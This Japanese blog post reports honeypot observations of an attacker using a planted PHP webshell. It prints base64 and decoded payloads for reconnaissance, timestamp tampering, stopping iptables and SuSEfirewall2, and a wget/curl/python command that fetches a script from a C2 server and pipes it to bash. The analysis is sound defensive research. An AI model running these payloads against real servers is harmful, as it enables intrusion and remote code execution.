WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した(続)
前回の観察結果の続報です。
前回は、新規WebShell設置の攻撃3パターンと、その新規WebShellの稼働確認を観察しました。
稼働確認で終わってしまったのは、攻撃者の期待に沿ったレスポンスを返却しなかったためと推測されます。 実は、次に同様の稼働確認に備え、攻撃者が期待するレスポンスを返却するようハニーポットを変更し、スタンバイしていました。
今回、稼働確認の次の攻撃を観測したのでまとめます。
観測結果
1. WebShellの稼働確認行為
前回は2019/1/19に攻撃者がimages.php
というWebShellを設置し、それが稼働しているか確認するリクエストがありました。
それから待つこと10日間、2019/1/29に同じリクエストの着弾を確認しました。
POSTリクエストです。以下、HTTPリクエストボディの内容です。
a=just+for+fun&code=ZGllKCJIZWxsbywgUGVwcGEhIik7
BASE64デコードすると、die("Hello, Peppa!");
となります。
今回、ハニーポットを変更し、Base64文字列をデコードしてコード実行するよう対応したため、こちらのリクエストに対して攻撃者の期待通りにHello, Peppa!
と返しました。一応、サーバ上で試してみます。
# curl "http://localhost/images.php" -d "a=just+for+fun&code=ZGllKCJIZWxsbywgUGVwcGEhIik7" Hello, Peppa!
2. サーバ情報の抜き取り行為
稼働確認のレスポンス返却後、その1秒後に同じIPアドレスから次のリクエストの着弾を確認しました。
POSTリクエストです。以下、HTTPリクエストボディの内容です。
a=just+for+fun&code=JHRpbWUgPSBAc3RydG90aW1lKCIyMDE1LTA3LTE2IDE3OjMyOjMyIik7QHRvdWNoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSwkdGltZSwkdGltZSk7aWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKXskdXNlcj1AZ2V0X2N1cnJlbnRfdXNlcigpOyR1aWQ9QGdldG15dWlkKCk7JGdpZD1AZ2V0bXlnaWQoKTskZ3JvdXA9Ij8iO31lbHNleyR1aWQ9QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOyRnaWQ9QHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOyR1aWQ9JHVpZFsndWlkJ107JHVzZXI9JHVpZFsnbmFtZSddOyRnaWQ9JGdpZFsnZ2lkJ107JGdyb3VwPSRnaWRbJ25hbWUnXTt9ZGllKCJIZWxsbywgUGVwcGEhfCIucGhwX3VuYW1lKCkuIiArICIuJ1VzZXI6Jy4kdWlkLicoJy4kdXNlci4nKS9Hcm91cDonLiRnaWQuJygnLiRncm91cC4nKScuIiArICIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiIgKyAiLiRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uIiArICIuJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLiJ8Iik7
BASE64デコードして整形します。
$time = @strtotime("2015-07-16 17:32:32"); @touch($_SERVER["SCRIPT_FILENAME"],$time,$time); if(!function_exists('posix_getegid')){ $user=@get_current_user(); $uid=@getmyuid(); $gid=@getmygid(); $group="?"; }else{ $uid=@posix_getpwuid(@posix_geteuid()); $gid=@posix_getgrgid(@posix_getegid()); $uid=$uid['uid']; $user=$uid['name']; $gid=$gid['gid']; $group=$gid['name']; } die("Hello, Peppa!|".php_uname()." + " .'User:'.$uid.'('.$user.')/Group:'.$gid.'('.$group.')'." + " .$_SERVER['SERVER_SOFTWARE']." + " .$_SERVER['DOCUMENT_ROOT']." + " .$_SERVER['SCRIPT_FILENAME']."|");
※適当なところで改行を挟んでいます。
user名、group名、サーバソフトウェア情報、ドキュメントルート、実行ファイル名などの情報を取得しようとしています。
また、冒頭でimages.php
のタイムスタンプを変更しようとしています。
これは、サーバ管理者が新しいタイムスタンプのWebShellファイルに気付かないようにするための策でしょう。
実行してみると以下の結果が返却されます。
# curl "http://localhost/images.php" -d "a=just+for+fun&code=JHRpbWUgPSBAc3RydG90aW1lKCIyMDE1LTA3LTE2IDE3OjMyOjMyIik7QHRvdWNoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSwkdGltZSwkdGltZSk7aWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKXskdXNlcj1AZ2V0X2N1cnJlbnRfdXNlcigpOyR1aWQ9QGdldG15dWlkKCk7JGdpZD1AZ2V0bXlnaWQoKTskZ3JvdXA9Ij8iO31lbHNleyR1aWQ9QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOyRnaWQ9QHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOyR1aWQ9JHVpZFsndWlkJ107JHVzZXI9JHVpZFsnbmFtZSddOyRnaWQ9JGdpZFsnZ2lkJ107JGdyb3VwPSRnaWRbJ25hbWUnXTt9ZGllKCJIZWxsbywgUGVwcGEhfCIucGhwX3VuYW1lKCkuIiArICIuJ1VzZXI6Jy4kdWlkLicoJy4kdXNlci4nKS9Hcm91cDonLiRnaWQuJygnLiRncm91cC4nKScuIiArICIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiIgKyAiLiRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uIiArICIuJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLiJ8Iik7" Hello, Peppa!|Linux 0f734fad15c6 4.15.0-1031-aws #33-Ubuntu SMP Fri Dec 7 09:32:27 UTC 2018 x86_64 + User:33()/Group:33() + Apache/2.4.25 (Debian) + /var/www/html + /var/www/html/webshell.php|
3. C2サーバとの通信および攻撃コード実行
更にその1秒後に同じIPアドレスから次のリクエストの着弾を確認しました。
POSTリクエストです。以下、HTTPリクエストボディの内容です。
a=just+for+fun&code=QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywnMCcpO2Z1bmN0aW9uIGV4ZWN1dGUoJGNmZSl7JHJlcz0nJztpZigkY2ZlKXskY2ZlPSRjZmUuJyAyPiYxJztpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtAb2Jfc3RhcnQoKTtAc3lzdGVtKCRjZmUpOyRyZXM9QG9iX2dldF9jb250ZW50cygpO0BvYl9lbmRfY2xlYW4oKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7QG9iX3N0YXJ0KCk7QHBhc3N0aHJ1KCRjZmUpOyRyZXM9QG9iX2dldF9jb250ZW50cygpO0BvYl9lbmRfY2xlYW4oKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskcmVzPUBzaGVsbF9leGVjKCRjZmUpO31lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpe0BleGVjKCRjZmUsJHJlcyk7JHJlcz1qb2luKCJcbiIsJHJlcyk7fWVsc2VpZihAaXNfcmVzb3VyY2UoJGY9QHBvcGVuKCRjZmUsInIiKSkpe3doaWxlKCFAZmVvZigkZikpeyRyZXMuPUBmcmVhZCgkZiwxMDI0KTt9QHBjbG9zZSgkZik7fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKXskZGVzYz1hcnJheSgwPT5hcnJheSgicGlwZSIsInIiKSwxPT5hcnJheSgicGlwZSIsInciKSwyPT5hcnJheSgicGlwZSIsInciKSk7JHByb2M9cHJvY19vcGVuKCRjZmUsJGRlc2MsJHBpcGVzLGdldGN3ZCgpKTtpZihpc19yZXNvdXJjZSgkcHJvYykpe2ZjbG9zZSgkcGlwZXNbMF0pO3doaWxlKCFmZW9mKCRwaXBlc1sxXSkpeyRyZXMuPWZyZWFkKCRwaXBlc1sxXSwxMDI0KTt9ZmNsb3NlKCRwaXBlc1sxXSk7d2hpbGUoIWZlb2YoJHBpcGVzWzJdKSl7JHJlcy49ZnJlYWQoJHBpcGVzWzJdLDEwMjQpO31mY2xvc2UoJHBpcGVzWzJdKTtwcm9jX2Nsb3NlKCRwcm9jKTt9fX1yZXR1cm4gJHJlczt9JFBTPScvZXRjL2luaXQuZC9pcHRhYmxlcyBzdG9wO3NlcnZpY2UgaXB0YWJsZXMgc3RvcDtTdVNFZmlyZXdhbGwyIHN0b3A7cmVTdVNFZmlyZXdhbGwyIHN0b3A7JztlY2hvKEBleGVjdXRlKCRQUyk%2FJ3N1Y2Nlc3MnOidmYWlsZWQnKTskUFM9Jyh3Z2V0IC1VICJNb3ppbGxhL1dHRVQiIC1xIC1PLSBodHRwOi8vMTM0LjE3NS4zMy43MS9VcGRhdGUvdGVzdC9pLnBocCB8fCBjdXJsIC1BICJNb3ppbGxhL0NVUkwiIC1mc1NMIGh0dHA6Ly8xMzQuMTc1LjMzLjcxL1VwZGF0ZS90ZXN0L2kucGhwIHx8IHB5dGhvbiAtYyAiZnJvbSB1cmxsaWIyIGltcG9ydCB1cmxvcGVuLFJlcXVlc3Q7cHJpbnQodXJsb3BlbihSZXF1ZXN0KFwnaHR0cDovLzEzNC4xNzUuMzMuNzEvVXBkYXRlL3Rlc3QvaS5waHBcJyxOb25lLHtcJ1VzZXItQWdlbnRcJzpcJ01vemlsbGEvUHl0aG9uMlwnfSkpLnJlYWQoKSk7IikgfCAvYmluL2Jhc2gnO2RpZShAZXhlY3V0ZSgkUFMpPydzdWNjZXNzJzonZmFpbGVkJyk7
BASE64デコードして整形します。
@ini_set('display_errors','0'); function execute($cfe){ $res=''; if($cfe){ $cfe=$cfe.' 2>&1'; if(function_exists('system')){ @ob_start(); @system($cfe); $res=@ob_get_contents(); @ob_end_clean(); }elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res=@ob_get_contents(); @ob_end_clean(); }elseif(function_exists('shell_exec')){ $res=@shell_exec($cfe); }elseif(function_exists('exec')){ @exec($cfe,$res); $res=join("\n",$res); }elseif(@is_resource($f=@popen($cfe,"r"))){ while(!@feof($f)){ $res.=@fread($f,1024); } @pclose($f); }elseif(function_exists('proc_open')){ $desc=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w")); $proc=proc_open($cfe,$desc,$pipes,getcwd()); if(is_resource($proc)){ fclose($pipes[0]); while(!feof($pipes[1])){ $res.=fread($pipes[1],1024); } fclose($pipes[1]); while(!feof($pipes[2])){ $res.=fread($pipes[2],1024); } fclose($pipes[2]); proc_close($proc); } } } return $res; } $PS='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;'; echo(@execute($PS)?'success':'failed'); $PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request;print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\',None,{\'User-Agent\':\'Mozilla/Python2\'})).read());") | /bin/bash'; die(@execute($PS)?'success':'failed');
※適当なところで改行を挟んでいます。IPアドレスはマスク化しています。
if/elseifの分岐が激しいexecute
関数ですが、OSコマンドが実行可能な各種関数の存在チェックし実行しています。
disable_functions
の設定等で、特定の関数実行が禁止されていることに備えた処理でしょう。
「絶対にOSコマンドを実行してやる」という気概を感じます。
攻撃者が実行したいOSコマンドは下4行から確認できます。
まず、以下のコードでファイアウォールの停止を狙っています。
$PS='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;'; echo(@execute($PS)?'success':'failed');
次に以下のコードで、C2サーバから次の攻撃コード(シェルスクリプト想定)をダウンロードして実行しようとしています。
ダウンロードしてきた攻撃コードをそのまま/bin/bash
に渡して実行することで、サーバ上にファイルを残さないようにしています。
$PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request;print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\',None,{\'User-Agent\':\'Mozilla/Python2\'})).read());") | /bin/bash'; die(@execute($PS)?'success':'failed');
このC2サーバの攻撃コードですが、C2サーバから404が返却されたため、実行は未遂に終わりました。
C2サーバのルートディレクトリにアクセスすると、中国語で書かれた一見普通に見える中華料理の紹介サイトが表示されました。
乗っ取られたサイトなのか、攻撃者の偽装サイトかは不明です。
まとめ
攻撃者が期待するレスポンスに応えることで、段階的に攻撃リクエストを観察できました。
今回、C2サーバには次の攻撃コードは存在しませんでしたが、攻撃者がC2サーバに攻撃コードを設置した上で今回のリクエストを受けると、本当に攻撃コードを実行してしまう可能性があります。これはもうボットネットに組み込まれているということでしょうか。
(本当に攻撃に加担しないよう、一応、いくつかの対策はしていますが・・・。)
なお、この記事を書いている2019/2/2の早朝に、今回紹介した1~3のリクエスト着弾を大量に確認しました。
ただ、依然としてC2サーバからは404が返却されています。